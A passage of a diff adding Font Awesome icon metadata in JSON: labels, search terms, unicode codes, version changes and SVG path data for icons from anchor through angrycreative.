"height": 512, + "path": "M12.971 352h32.394C67.172 454.735 181.944 512 288 512c106.229 0 220.853-57.38 242.635-160h32.394c10.691 0 16.045-12.926 8.485-20.485l-67.029-67.029c-4.686-4.686-12.284-4.686-16.971 0l-67.029 67.029c-7.56 7.56-2.206 20.485 8.485 20.485h35.146c-20.29 54.317-84.963 86.588-144.117 94.015V256h52c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-52v-5.47c37.281-13.178 63.995-48.725 64-90.518C384.005 43.772 341.605.738 289.37.01 235.723-.739 192 42.525 192 96c0 41.798 26.716 77.35 64 90.53V192h-52c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h52v190.015c-58.936-7.399-123.82-39.679-144.117-94.015h35.146c10.691 0 16.045-12.926 8.485-20.485l-67.029-67.029c-4.686-4.686-12.284-4.686-16.971 0L4.485 331.515C-3.074 339.074 2.28 352 12.971 352zM288 64c17.645 0 32 14.355 32 32s-14.355 32-32 32-32-14.355-32-32 14.355-32 32-32z" + } + }, + "free": [ + "solid" + ] + }, + "android": { + "changes": [ + "3.2", + "5.0.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "robot" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f17b", + "label": "Android", + "voted": false, + "svg": { + "brands": { + "last_modified": 1573073505342, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M420.55,301.93a24,24,0,1,1,24-24,24,24,0,0,1-24,24m-265.1,0a24,24,0,1,1,24-24,24,24,0,0,1-24,24m273.7-144.48,47.94-83a10,10,0,1,0-17.27-10h0l-48.54,84.07a301.25,301.25,0,0,0-246.56,0L116.18,64.45a10,10,0,1,0-17.27,10h0l47.94,83C64.53,202.22,8.24,285.55,0,384H576c-8.24-98.45-64.54-181.78-146.85-226.55\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M420.55,301.93a24,24,0,1,1,24-24,24,24,0,0,1-24,24m-265.1,0a24,24,0,1,1,24-24,24,24,0,0,1-24,24m273.7-144.48,47.94-83a10,10,0,1,0-17.27-10h0l-48.54,84.07a301.25,301.25,0,0,0-246.56,0L116.18,64.45a10,10,0,1,0-17.27,10h0l47.94,83C64.53,202.22,8.24,285.55,0,384H576c-8.24-98.45-64.54-181.78-146.85-226.55" + } + }, + "free": [ + "brands" + ] + }, + "angellist": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f209", + "label": "AngelList", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860964, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M347.1 215.4c11.7-32.6 45.4-126.9 45.4-157.1 0-26.6-15.7-48.9-43.7-48.9-44.6 0-84.6 131.7-97.1 163.1C242 144 196.6 0 156.6 0c-31.1 0-45.7 22.9-45.7 51.7 0 35.3 34.2 126.8 46.6 162-6.3-2.3-13.1-4.3-20-4.3-23.4 0-48.3 29.1-48.3 52.6 0 8.9 4.9 21.4 8 29.7-36.9 10-51.1 34.6-51.1 71.7C46 435.6 114.4 512 210.6 512c118 0 191.4-88.6 191.4-202.9 0-43.1-6.9-82-54.9-93.7zM311.7 108c4-12.3 21.1-64.3 37.1-64.3 8.6 0 10.9 8.9 10.9 16 0 19.1-38.6 124.6-47.1 148l-34-6 33.1-93.7zM142.3 48.3c0-11.9 14.5-45.7 46.3 47.1l34.6 100.3c-15.6-1.3-27.7-3-35.4 1.4-10.9-28.8-45.5-119.7-45.5-148.8zM140 244c29.3 0 67.1 94.6 67.1 107.4 0 5.1-4.9 11.4-10.6 11.4-20.9 0-76.9-76.9-76.9-97.7.1-7.7 12.7-21.1 20.4-21.1zm184.3 186.3c-29.1 32-66.3 48.6-109.7 48.6-59.4 0-106.3-32.6-128.9-88.3-17.1-43.4 3.8-68.3 20.6-68.3 11.4 0 54.3 60.3 54.3 73.1 0 4.9-7.7 8.3-11.7 8.3-16.1 0-22.4-15.5-51.1-51.4-29.7 29.7 20.5 86.9 58.3 86.9 26.1 0 43.1-24.2 38-42 3.7 0 8.3.3 11.7-.6 1.1 27.1 9.1 59.4 41.7 61.7 0-.9 2-7.1 2-7.4 0-17.4-10.6-32.6-10.6-50.3 0-28.3 21.7-55.7 43.7-71.7 8-6 17.7-9.7 27.1-13.1 9.7-3.7 20-8 27.4-15.4-1.1-11.2-5.7-21.1-16.9-21.1-27.7 0-120.6 4-120.6-39.7 0-6.7.1-13.1 17.4-13.1 32.3 0 114.3 8 138.3 29.1 18.1 16.1 24.3 113.2-31 174.7zm-98.6-126c9.7 3.1 19.7 4 29.7 6-7.4 5.4-14 12-20.3 19.1-2.8-8.5-6.2-16.8-9.4-25.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M347.1 215.4c11.7-32.6 45.4-126.9 45.4-157.1 0-26.6-15.7-48.9-43.7-48.9-44.6 0-84.6 131.7-97.1 163.1C242 144 196.6 0 156.6 0c-31.1 0-45.7 22.9-45.7 51.7 0 35.3 34.2 126.8 46.6 162-6.3-2.3-13.1-4.3-20-4.3-23.4 0-48.3 29.1-48.3 52.6 0 8.9 4.9 21.4 8 29.7-36.9 10-51.1 34.6-51.1 71.7C46 435.6 114.4 512 210.6 512c118 0 191.4-88.6 191.4-202.9 0-43.1-6.9-82-54.9-93.7zM311.7 108c4-12.3 21.1-64.3 37.1-64.3 8.6 0 10.9 8.9 10.9 16 0 19.1-38.6 124.6-47.1 148l-34-6 33.1-93.7zM142.3 48.3c0-11.9 14.5-45.7 46.3 47.1l34.6 100.3c-15.6-1.3-27.7-3-35.4 1.4-10.9-28.8-45.5-119.7-45.5-148.8zM140 244c29.3 0 67.1 94.6 67.1 107.4 0 5.1-4.9 11.4-10.6 11.4-20.9 0-76.9-76.9-76.9-97.7.1-7.7 12.7-21.1 20.4-21.1zm184.3 186.3c-29.1 32-66.3 48.6-109.7 48.6-59.4 0-106.3-32.6-128.9-88.3-17.1-43.4 3.8-68.3 20.6-68.3 11.4 0 54.3 60.3 54.3 73.1 0 4.9-7.7 8.3-11.7 8.3-16.1 0-22.4-15.5-51.1-51.4-29.7 29.7 20.5 86.9 58.3 86.9 26.1 0 43.1-24.2 38-42 3.7 0 8.3.3 11.7-.6 1.1 27.1 9.1 59.4 41.7 61.7 0-.9 2-7.1 2-7.4 0-17.4-10.6-32.6-10.6-50.3 0-28.3 21.7-55.7 43.7-71.7 8-6 17.7-9.7 27.1-13.1 9.7-3.7 20-8 27.4-15.4-1.1-11.2-5.7-21.1-16.9-21.1-27.7 0-120.6 4-120.6-39.7 0-6.7.1-13.1 17.4-13.1 32.3 0 114.3 8 138.3 29.1 18.1 16.1 24.3 113.2-31 174.7zm-98.6-126c9.7 3.1 19.7 4 29.7 6-7.4 5.4-14 12-20.3 19.1-2.8-8.5-6.2-16.8-9.4-25.1z" + } + }, + "free": [ + "brands" + ] + }, + "angle-double-down": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrows", + "caret", + "download", + "expand" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f103", + "label": "Angle Double Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635307, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M143 256.3L7 120.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0L313 86.3c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.4 9.5-24.6 9.5-34 .1zm34 192l136-136c9.4-9.4 9.4-24.6 0-33.9l-22.6-22.6c-9.4-9.4-24.6-9.4-33.9 0L160 352.1l-96.4-96.4c-9.4-9.4-24.6-9.4-33.9 0L7 278.3c-9.4 9.4-9.4 24.6 0 33.9l136 136c9.4 9.5 24.6 9.5 34 .1z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M143 256.3L7 120.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0L313 86.3c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.4 9.5-24.6 9.5-34 .1zm34 192l136-136c9.4-9.4 9.4-24.6 0-33.9l-22.6-22.6c-9.4-9.4-24.6-9.4-33.9 0L160 352.1l-96.4-96.4c-9.4-9.4-24.6-9.4-33.9 0L7 278.3c-9.4 9.4-9.4 24.6 0 33.9l136 136c9.4 9.5 24.6 9.5 34 .1z" + } + }, + "free": [ + "solid" + ] + }, + "angle-double-left": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrows", + "back", + "caret", + "laquo", + "previous", + "quote" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f100", + "label": "Angle Double Left", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635307, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M223.7 239l136-136c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9L319.9 256l96.4 96.4c9.4 9.4 9.4 24.6 0 33.9L393.7 409c-9.4 9.4-24.6 9.4-33.9 0l-136-136c-9.5-9.4-9.5-24.6-.1-34zm-192 34l136 136c9.4 9.4 24.6 9.4 33.9 0l22.6-22.6c9.4-9.4 9.4-24.6 0-33.9L127.9 256l96.4-96.4c9.4-9.4 9.4-24.6 0-33.9L201.7 103c-9.4-9.4-24.6-9.4-33.9 0l-136 136c-9.5 9.4-9.5 24.6-.1 34z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M223.7 239l136-136c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9L319.9 256l96.4 96.4c9.4 9.4 9.4 24.6 0 33.9L393.7 409c-9.4 9.4-24.6 9.4-33.9 0l-136-136c-9.5-9.4-9.5-24.6-.1-34zm-192 34l136 136c9.4 9.4 24.6 9.4 33.9 0l22.6-22.6c9.4-9.4 9.4-24.6 0-33.9L127.9 256l96.4-96.4c9.4-9.4 9.4-24.6 0-33.9L201.7 103c-9.4-9.4-24.6-9.4-33.9 0l-136 136c-9.5 9.4-9.5 24.6-.1 34z" + } + }, + "free": [ + "solid" + ] + }, + "angle-double-right": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrows", + "caret", + "forward", + "more", + "next", + "quote", + "raquo" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f101", + "label": "Angle Double Right", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635307, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224.3 273l-136 136c-9.4 9.4-24.6 9.4-33.9 0l-22.6-22.6c-9.4-9.4-9.4-24.6 0-33.9l96.4-96.4-96.4-96.4c-9.4-9.4-9.4-24.6 0-33.9L54.3 103c9.4-9.4 24.6-9.4 33.9 0l136 136c9.5 9.4 9.5 24.6.1 34zm192-34l-136-136c-9.4-9.4-24.6-9.4-33.9 0l-22.6 22.6c-9.4 9.4-9.4 24.6 0 33.9l96.4 96.4-96.4 96.4c-9.4 9.4-9.4 24.6 0 33.9l22.6 22.6c9.4 9.4 24.6 9.4 33.9 0l136-136c9.4-9.2 9.4-24.4 0-33.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M224.3 273l-136 136c-9.4 9.4-24.6 9.4-33.9 0l-22.6-22.6c-9.4-9.4-9.4-24.6 0-33.9l96.4-96.4-96.4-96.4c-9.4-9.4-9.4-24.6 0-33.9L54.3 103c9.4-9.4 24.6-9.4 33.9 0l136 136c9.5 9.4 9.5 24.6.1 34zm192-34l-136-136c-9.4-9.4-24.6-9.4-33.9 0l-22.6 22.6c-9.4 9.4-9.4 24.6 0 33.9l96.4 96.4-96.4 96.4c-9.4 9.4-9.4 24.6 0 33.9l22.6 22.6c9.4 9.4 24.6 9.4 33.9 0l136-136c9.4-9.2 9.4-24.4 0-33.8z" + } + }, + "free": [ + "solid" + ] + }, + "angle-double-up": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrows", + "caret", + "collapse", + "upload" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f102", + "label": "Angle Double Up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635307, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M177 255.7l136 136c9.4 9.4 9.4 24.6 0 33.9l-22.6 22.6c-9.4 9.4-24.6 9.4-33.9 0L160 351.9l-96.4 96.4c-9.4 9.4-24.6 9.4-33.9 0L7 425.7c-9.4-9.4-9.4-24.6 0-33.9l136-136c9.4-9.5 24.6-9.5 34-.1zm-34-192L7 199.7c-9.4 9.4-9.4 24.6 0 33.9l22.6 22.6c9.4 9.4 24.6 9.4 33.9 0l96.4-96.4 96.4 96.4c9.4 9.4 24.6 9.4 33.9 0l22.6-22.6c9.4-9.4 9.4-24.6 0-33.9l-136-136c-9.2-9.4-24.4-9.4-33.8 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M177 255.7l136 136c9.4 9.4 9.4 24.6 0 33.9l-22.6 22.6c-9.4 9.4-24.6 9.4-33.9 0L160 351.9l-96.4 96.4c-9.4 9.4-24.6 9.4-33.9 0L7 425.7c-9.4-9.4-9.4-24.6 0-33.9l136-136c9.4-9.5 24.6-9.5 34-.1zm-34-192L7 199.7c-9.4 9.4-9.4 24.6 0 33.9l22.6 22.6c9.4 9.4 24.6 9.4 33.9 0l96.4-96.4 96.4 96.4c9.4 9.4 24.6 9.4 33.9 0l22.6-22.6c9.4-9.4 9.4-24.6 0-33.9l-136-136c-9.2-9.4-24.4-9.4-33.8 0z" + } + }, + "free": [ + "solid" + ] + }, + "angle-down": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "caret", + "download", + "expand" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f107", + "label": "angle-down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635308, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z" + } + }, + "free": [ + "solid" + ] + }, + "angle-left": { + "changes": [ + "3", + "5.0.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "back", + "caret", + "less", + "previous" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f104", + "label": "angle-left", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635308, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M31.7 239l136-136c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9L127.9 256l96.4 96.4c9.4 9.4 9.4 24.6 0 33.9L201.7 409c-9.4 9.4-24.6 9.4-33.9 0l-136-136c-9.5-9.4-9.5-24.6-.1-34z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M31.7 239l136-136c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9L127.9 256l96.4 96.4c9.4 9.4 9.4 24.6 0 33.9L201.7 409c-9.4 9.4-24.6 9.4-33.9 0l-136-136c-9.5-9.4-9.5-24.6-.1-34z" + } + }, + "free": [ + "solid" + ] + }, + "angle-right": { + "changes": [ + "3", + "5.0.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "care", + "forward", + "more", + "next" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f105", + "label": "angle-right", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635308, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M224.3 273l-136 136c-9.4 9.4-24.6 9.4-33.9 0l-22.6-22.6c-9.4-9.4-9.4-24.6 0-33.9l96.4-96.4-96.4-96.4c-9.4-9.4-9.4-24.6 0-33.9L54.3 103c9.4-9.4 24.6-9.4 33.9 0l136 136c9.5 9.4 9.5 24.6.1 34z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M224.3 273l-136 136c-9.4 9.4-24.6 9.4-33.9 0l-22.6-22.6c-9.4-9.4-9.4-24.6 0-33.9l96.4-96.4-96.4-96.4c-9.4-9.4-9.4-24.6 0-33.9L54.3 103c9.4-9.4 24.6-9.4 33.9 0l136 136c9.5 9.4 9.5 24.6.1 34z" + } + }, + "free": [ + "solid" + ] + }, + "angle-up": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "caret", + "collapse", + "upload" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f106", + "label": "angle-up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635308, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M177 159.7l136 136c9.4 9.4 9.4 24.6 0 33.9l-22.6 22.6c-9.4 9.4-24.6 9.4-33.9 0L160 255.9l-96.4 96.4c-9.4 9.4-24.6 9.4-33.9 0L7 329.7c-9.4-9.4-9.4-24.6 0-33.9l136-136c9.4-9.5 24.6-9.5 34-.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M177 159.7l136 136c9.4 9.4 9.4 24.6 0 33.9l-22.6 22.6c-9.4 9.4-24.6 9.4-33.9 0L160 255.9l-96.4 96.4c-9.4 9.4-24.6 9.4-33.9 0L7 329.7c-9.4-9.4-9.4-24.6 0-33.9l136-136c9.4-9.5 24.6-9.5 34-.1z" + } + }, + "free": [ + "solid" + ] + }, + "angry": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "disapprove", + "emoticon", + "face", + "mad", + "upset" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f556", + "label": "Angry Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635308, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 240c0-9.3 4.1-17.5 10.5-23.4l-31-9.3c-8.5-2.5-13.3-11.5-10.7-19.9 2.5-8.5 11.4-13.2 19.9-10.7l80 24c8.5 2.5 13.3 11.5 10.7 19.9-2.1 6.9-8.4 11.4-15.3 11.4-.5 0-1.1-.2-1.7-.2.7 2.7 1.7 5.3 1.7 8.2 0 17.7-14.3 32-32 32S136 257.7 136 240zm168 154.2c-27.8-33.4-84.2-33.4-112.1 0-13.5 16.3-38.2-4.2-24.6-20.5 20-24 49.4-37.8 80.6-37.8s60.6 13.8 80.6 37.8c13.8 16.5-11.1 36.6-24.5 20.5zm76.6-186.9l-31 9.3c6.3 5.8 10.5 14.1 10.5 23.4 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-2.9.9-5.6 1.7-8.2-.6.1-1.1.2-1.7.2-6.9 0-13.2-4.5-15.3-11.4-2.5-8.5 2.3-17.4 10.7-19.9l80-24c8.4-2.5 17.4 2.3 19.9 10.7 2.5 8.5-2.3 17.4-10.8 19.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 240c0-9.3 4.1-17.5 10.5-23.4l-31-9.3c-8.5-2.5-13.3-11.5-10.7-19.9 2.5-8.5 11.4-13.2 19.9-10.7l80 24c8.5 2.5 13.3 11.5 10.7 19.9-2.1 6.9-8.4 11.4-15.3 11.4-.5 0-1.1-.2-1.7-.2.7 2.7 1.7 5.3 1.7 8.2 0 17.7-14.3 32-32 32S136 257.7 136 240zm168 154.2c-27.8-33.4-84.2-33.4-112.1 0-13.5 16.3-38.2-4.2-24.6-20.5 20-24 49.4-37.8 80.6-37.8s60.6 13.8 80.6 37.8c13.8 16.5-11.1 36.6-24.5 20.5zm76.6-186.9l-31 9.3c6.3 5.8 10.5 14.1 10.5 23.4 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-2.9.9-5.6 1.7-8.2-.6.1-1.1.2-1.7.2-6.9 0-13.2-4.5-15.3-11.4-2.5-8.5 2.3-17.4 10.7-19.9l80-24c8.4-2.5 17.4 2.3 19.9 10.7 2.5 8.5-2.3 17.4-10.8 19.9z" + }, + "regular": { + "last_modified": 1628088634653, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm0-144c-33.6 0-65.2 14.8-86.8 40.6-8.5 10.2-7.1 25.3 3.1 33.8s25.3 7.2 33.8-3c24.8-29.7 75-29.7 99.8 0 8.1 9.7 23.2 11.9 33.8 3 10.2-8.5 11.5-23.6 3.1-33.8-21.6-25.8-53.2-40.6-86.8-40.6zm-48-72c10.3 0 19.9-6.7 23-17.1 3.8-12.7-3.4-26.1-16.1-29.9l-80-24c-12.8-3.9-26.1 3.4-29.9 16.1-3.8 12.7 3.4 26.1 16.1 29.9l28.2 8.5c-3.1 4.9-5.3 10.4-5.3 16.6 0 17.7 14.3 32 32 32s32-14.4 32-32.1zm199-54.9c-3.8-12.7-17.1-19.9-29.9-16.1l-80 24c-12.7 3.8-19.9 17.2-16.1 29.9 3.1 10.4 12.7 17.1 23 17.1 0 17.7 14.3 32 32 32s32-14.3 32-32c0-6.2-2.2-11.7-5.3-16.6l28.2-8.5c12.7-3.7 19.9-17.1 16.1-29.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm0-144c-33.6 0-65.2 14.8-86.8 40.6-8.5 10.2-7.1 25.3 3.1 33.8s25.3 7.2 33.8-3c24.8-29.7 75-29.7 99.8 0 8.1 9.7 23.2 11.9 33.8 3 10.2-8.5 11.5-23.6 3.1-33.8-21.6-25.8-53.2-40.6-86.8-40.6zm-48-72c10.3 0 19.9-6.7 23-17.1 3.8-12.7-3.4-26.1-16.1-29.9l-80-24c-12.8-3.9-26.1 3.4-29.9 16.1-3.8 12.7 3.4 26.1 16.1 29.9l28.2 8.5c-3.1 4.9-5.3 10.4-5.3 16.6 0 17.7 14.3 32 32 32s32-14.4 32-32.1zm199-54.9c-3.8-12.7-17.1-19.9-29.9-16.1l-80 24c-12.7 3.8-19.9 17.2-16.1 29.9 3.1 10.4 12.7 17.1 23 17.1 0 17.7 14.3 32 32 32s32-14.3 32-32c0-6.2-2.2-11.7-5.3-16.6l28.2-8.5c12.7-3.7 19.9-17.1 16.1-29.8z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "angrycreative": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f36e", + "label": "Angry Creative", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860965, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 238.2l-3.2 28.2-34.5 2.3-2 18.1 34.5-2.3-3.2 28.2-34.4 2.2-2.3 20.1 34.4-2.2-3 26.1-64.7 4.1 12.7-113.2L527 365.2l-31.9 2-23.8-117.8 30.3-2 13.6 79.4 31.7-82.4 93.1-6.2zM426.8 371.5l28.3-1.8L468 249.6l-28.4 1.9-12.8 120zM162 388.1l-19.4-36-3.5 37.4-28.2 1.7 2.7-29.1c-11 18-32 34.3-56.9 35.8C23.9 399.9-3 377 .3 339.7c2.6-29.3 26.7-62.8 67.5-65.4 37.7-2.4 47.6 23.2 51.3 28.8l2.8-30.8 38.9-2.5c20.1-1.3 38.7 3.7 42.5 23.7l2.6-26.6 64.8-4.2-2.7 27.9-36.4 2.4-1.7 17.9 36.4-2.3-2.7 27.9-36.4 2.3-1.9 19.9 36.3-2.3-2.1 20.8 55-117.2 23.8-1.6L370.4 369l8.9-85.6-22.3 1.4 2.9-27.9 75-4.9-3 28-24.3 1.6-9.7 91.9-58 3.7-4.3-15.6-39.4 2.5-8 16.3-126.2 7.7zm-44.3-70.2l-26.4 1.7C84.6 307.2 76.9 303 65 303.8c-19 1.2-33.3 17.5-34.6 33.3-1.4 16 7.3 32.5 28.7 31.2 12.8-.8 21.3-8.6 28.9-18.9l27-1.7 2.7-29.8zm56.1-7.7c1.2-12.9-7.6-13.6-26.1-12.4l-2.7 28.5c14.2-.9 27.5-2.1 28.8-16.1zm21.1 70.8l5.8-60c-5 13.5-14.7 21.1-27.9 26.6l22.1 33.4zm135.4-45l-7.9-37.8-15.8 39.3 23.7-1.5zm-170.1-74.6l-4.3-17.5-39.6 2.6-8.1 18.2-31.9 2.1 57-121.9 23.9-1.6 30.7 102 9.9-104.7 27-1.8 37.8 63.6 6.5-66.6 28.5-1.9-4 41.2c7.4-13.5 22.9-44.7 63.6-47.5 40.5-2.8 52.4 29.3 53.4 30.3l3.3-32 39.3-2.7c12.7-.9 27.8.3 36.3 9.7l-4.4-11.9 32.2-2.2 12.9 43.2 23-45.7 31-2.2-43.6 78.4-4.8 44.3-28.4 1.9 4.8-44.3-15.8-43c1 22.3-9.2 40.1-32 49.6l25.2 38.8-36.4 2.4-19.2-36.8-4 38.3-28.4 1.9 3.3-31.5c-6.7 9.3-19.7 35.4-59.6 38-26.2 1.7-45.6-10.3-55.4-39.2l-4 40.3-25 1.6-37.6-63.3-6.3 66.2-56.8 3.7zm276.6-82.1c10.2-.7 17.5-2.1 21.6-4.3 4.5-2.4 7-6.4 7.6-12.1.6-5.3-.6-8.8-3.4-10.4-3.6-2.1-10.6-2.8-22.9-2l-2.9 28.8zM327.7 214c5.6 5.9 12.7 8.5 21.3 7.9 4.7-.3 9.1-1.8 13.3-4.1 5.5-3 10.6-8 15.1-14.3l-34.2 2.3 2.4-23.9 63.1-4.3 1.2-12-31.2 2.1c-4.1-3.7-7.8-6.6-11.1-8.1-4-1.7-8.1-2.8-12.2-2.5-8 .5-15.3 3.6-22 9.2-7.7 6.4-12 14.5-12.9 24.4-1.1 9.6 1.4 17.3 7.2 23.3zm-201.3 8.2l23.8-1.6-8.3-37.6-15.5 39.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M640 238.2l-3.2 28.2-34.5 2.3-2 18.1 34.5-2.3-3.2 28.2-34.4 2.2-2.3 20.1 34.4-2.2-3 26.1-64.7 4.1 12.7-113.2L527 365.2l-31.9 2-23.8-117.8 30.3-2 13.6 79.4 31.7-82.4 93.1-6.2zM426.8 371.5l28.3-1.8L468 249.6l-28.4 1.9-12.8 120zM162 388.1l-19.4-36-3.5 37.4-28.2 1.7 2.7-29.1c-11 18-32 34.3-56.9 35.8C23.9 399.9-3 377 .3 339.7c2.6-29.3 26.7-62.8 67.5-65.4 37.7-2.4 47.6 23.2 51.3 28.8l2.8-30.8 38.9-2.5c20.1-1.3 38.7 3.7 42.5 23.7l2.6-26.6 64.8-4.2-2.7 27.9-36.4 2.4-1.7 17.9 36.4-2.3-2.7 27.9-36.4 2.3-1.9 19.9 36.3-2.3-2.1 20.8 55-117.2 23.8-1.6L370.4 369l8.9-85.6-22.3 1.4 2.9-27.9 75-4.9-3 28-24.3 1.6-9.7 91.9-58 3.7-4.3-15.6-39.4 2.5-8 16.3-126.2 7.7zm-44.3-70.2l-26.4 1.7C84.6 307.2 76.9 303 65 303.8c-19 1.2-33.3 17.5-34.6 33.3-1.4 16 7.3 32.5 28.7 31.2 12.8-.8 21.3-8.6 28.9-18.9l27-1.7 2.7-29.8zm56.1-7.7c1.2-12.9-7.6-13.6-26.1-12.4l-2.7 28.5c14.2-.9 27.5-2.1 28.8-16.1zm21.1 70.8l5.8-60c-5 13.5-14.7 21.1-27.9 26.6l22.1 33.4zm135.4-45l-7.9-37.8-15.8 39.3 